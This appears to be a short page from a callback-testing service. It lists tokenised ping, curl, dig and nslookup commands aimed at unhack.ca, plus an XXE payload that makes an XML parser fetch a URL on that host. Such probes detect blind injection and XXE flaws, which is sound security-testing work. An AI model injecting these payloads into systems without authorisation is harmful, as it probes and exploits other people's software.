$ ping -c1 -p 00e45ad8e5b88670a126ccbb565cc900 unhack.ca
 

$ curl http://unhack.ca/p/e45ad8e5b88670a126ccbb565cc9
 

$ dig e45ad8e5b88670a126ccbb565cc9 @unhack.ca
 

$ dig e45ad8e5b88670a126ccbb565cc9.ns.unhack.ca
 

C:\> nslookup e45ad8e5b88670a126ccbb565cc9 unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/e45ad8e5b88670a126ccbb565cc9">]>
    <foo>&xxe;</foo>